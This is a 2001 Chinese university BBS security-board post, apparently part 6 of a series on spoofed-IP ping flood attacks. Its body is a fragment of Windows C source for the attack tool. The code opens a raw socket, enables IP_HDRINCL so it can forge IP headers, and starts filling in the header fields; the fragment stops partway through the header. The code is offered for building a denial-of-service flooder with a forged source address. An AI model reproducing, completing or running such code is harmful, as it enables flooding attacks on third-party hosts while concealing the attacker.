荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: aaabbb (好好学习), 信区: Security
标  题: Ping攻防-伪装IP地址的洪水Ping攻击(6)
发信站: 荔园晨风BBS站 (Sat May 26 23:10:36 2001), 转信

if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,
WSA_FLAG_OVERLAPPED))==INVALID_SOCKET)
   {
     fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());

     ExitProcess(STATUS_FAILED);
   }
  flag=TRUE;

//设置IP_HDRINCL以自己填充IP首部
  ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,
sizeof(int));
  if(ErrorCode==SOCKET_ERROR)
   printf("Set IP_HDRINCL Error!\n");
  __try
{

//设置发送超时
  ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,
(char*)&TimeOut,sizeof(TimeOut));
  if (ErrorCode==SOCKET_ERROR)
   {
     fprintf(stderr,"Failed to set send TimeOut: %d\n",
WSAGetLastError());
     __leave;
   }
  memset(&DestAddr,0,sizeof(DestAddr));
  DestAddr.sin_family=AF_INET;
  DestAddr.sin_addr.s_addr=inet_addr(DestIp);

//填充IP首部
  ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));
 //高四位IP版本号,低四位首部长度
  ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER));
//16位总长度(字节)
  ip_header.ident=1;

//16位标识
  ip_header.frag_and_flags=0;
--
 记忆 绝不是铅笔写就的往事 用皮擦抹去 就可以重新开始

※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.32.1]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店